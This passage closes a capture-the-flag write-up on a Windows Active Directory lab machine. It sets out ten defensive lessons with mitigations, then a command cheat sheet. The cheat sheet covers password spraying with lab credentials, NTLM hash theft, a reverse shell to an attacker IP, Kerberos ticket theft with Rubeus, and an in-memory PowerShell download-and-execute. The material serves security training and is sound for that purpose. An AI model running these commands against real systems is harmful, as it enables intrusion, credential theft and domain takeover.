This machine reinforced a core principle:

Real attacks are built by chaining multiple small weaknesses together.

LFI → credentials

SMB → lateral movement

Web write → RCE

Internal services → escalation

Kerberos → domain takeover

Individually, these are minor Combined, they result in full compromise.

# 6\. Defensive Insights

### 1\. Improper Input Validation Enables LFI/RFI

The application passes user-controlled input directly into a file parameter (view) without proper validation.

**Impact:**

*   Allows Local File Inclusion (LFI)
    
*   Can escalate to Remote File Inclusion (RFI)
    

**Mitigation:**

*   Enforce strict input validation and whitelisting
    
*   Never pass user input directly into file operations
    
*   Restrict file access to predefined safe directories
    

* * *

### 2\. Outbound SMB Authentication Leads to Credential Leakage

The server is able to initiate SMB connections to external systems.

**Impact:**

*   Attackers can coerce authentication and capture NetNTLMv2 hashes
    

**Mitigation:**

*   Block outbound SMB (TCP 445)
    
*   Enforce SMB signing
    
*   Disable NTLM where possible and prefer Kerberos
    

* * *

### 3\. Over-Permissive SMB Shares Enable NTLM Theft

Users are granted write access to SMB shares that are accessible by others.

**Impact:**

*   Attackers can plant malicious files (.lnk, .url, .scf)
    
*   Leads to credential theft when accessed
    

**Mitigation:**

*   Apply least privilege to all SMB shares
    
*   Restrict write access to only what is absolutely necessary
    
*   Monitor for suspicious file types and activity
    

* * *

### 4\. Password Reuse Enables Lateral Movement

Multiple accounts reuse the same password.

**Impact:**

*   A single compromised credential leads to multiple compromised users
    

**Mitigation:**

*   Enforce unique passwords per account
    
*   Implement strong password policies
    
*   Use account lockout protections
    

* * *

### 5\. Web Root Write Access Leads Directly to RCE

A user is allowed to write directly to a web-accessible directory.

**Impact:**

*   Attackers can upload webshells and execute arbitrary code
    

**Mitigation:**

*   Remove write access to web roots for non-admin users
    
*   Separate content management from execution paths
    
*   Monitor for unexpected file uploads
    

* * *

### 6\. Internal-Only Services Are Not Safe by Default

A web service running on localhost (port 8000) is assumed to be safe because it is not externally exposed.

**Impact:**

*   Attackers with a foothold can access it via port forwarding
    
*   Internal services become escalation vectors
    

**Mitigation:**

*   Treat internal services as untrusted
    
*   Require authentication and authorization
    
*   Restrict access with firewall rules
    

* * *

### 7\. IIS Configuration Allows Dangerous Execution Context

The IIS application allows execution of user-controlled ASPX files.

**Impact:**

*   Attackers gain code execution within the IIS AppPool context
    

**Mitigation:**

*   Disable script execution where not required
    
*   Restrict which directories can execute code
    
*   Run application pools with minimal privileges
    

* * *

### 8\. Lack of Network Segmentation Enables Domain Access

The compromised system can freely communicate with domain services.

**Impact:**

*   Enables Kerberos abuse and DCSync attacks
    

**Mitigation:**

*   Implement network segmentation
    
*   Restrict communication between web servers and domain controllers
    
*   Enforce strict firewall policies
    

* * *

### 9\. Kerberos Delegation Can Be Abused

The environment allows delegation abuse via machine account context.

**Impact:**

*   Attackers can obtain Kerberos tickets and perform DCSync
    

**Mitigation:**

*   Audit and restrict delegation settings
    
*   Monitor Kerberos activity for anomalies
    
*   Limit privileges assigned to machine accounts
    

* * *

### 10\. Lack of Monitoring Allows Full Attack Chain Execution

There is no effective detection across multiple attack stages.

**Impact:**

*   Attackers move from initial access to full domain compromise undetected
    

**Mitigation:**

*   Implement centralized logging (SIEM)
    
*   Monitor for:
    
    *   Suspicious SMB authentication
        
    *   Webshell uploads
        
    *   Abnormal process execution
        
*   Enable PowerShell logging and auditing
    

* * *

### Final Defensive Perspective

This environment is not compromised by one major flaw—it is compromised by a chain of small, preventable issues:

*   Weak input validation
    
*   Over-permissioned access
    
*   Poor credential hygiene
    
*   Trust in internal services
    
*   Lack of monitoring
    

Security breaks down when basic controls are ignored. Tighten the fundamentals, and the entire attack chain falls apart.

## 7\. Useful Commands

* * *

### VHost Fuzzing (ffuf)

```plaintext
ffuf -u http://flight.htb -H "Host: FUZZ.flight.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
```

### LFI Testing

```plaintext
http://school.flight.htb/index.php?view=C:\Windows\win.ini
```

### SMB Enumeration

```plaintext
nxc smb 10.129.9.50 -u svc_apache -p 'S@sS!K0x+13' --users
```

### Password Spraying

```plaintext
nxc smb 10.129.9.50 -u user.txt -p 'S@sS!K0x+13' --continue-on-success
```

### NTLM Theft

```plaintext
python3 ntlm_theft.py -g all -s 10.10.14.123 -f neo
```

### RunasCs Reverse Shell (c.bum)

```plaintext
.\r.exe c.bum Tikkycoll_431012284 -r 10.10.14.123:9001 powershell.exe
```

### Chisel Port Forward

```plaintext
.\chisel.exe client 10.10.14.123:8001 R:8000:127.0.0.1:8000
```

### Rubeus Ticket Delegation Attack

```plaintext
.\rubeus.exe tgtdeleg /nowrap
```

### Convert Ticket

**Executed:**

```plaintext
base64 -d ticket.b64 > ticket.kirbi
```

```plaintext
impacket-ticketConverter ticket.kirbi ticket.ccache
```

```plaintext
export KRB5CCNAME=ticket.ccache
```

### BloodHound Collection (NetExec)

```plaintext
nxc ldap 10.129.9.50 -u 'svc_apache' -p 'S@sS!K0x+13' --bloodhound --collection All
```

### Download and Execute PowerShell Script In Memory

```plaintext
powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.123/shell.ps1')"
```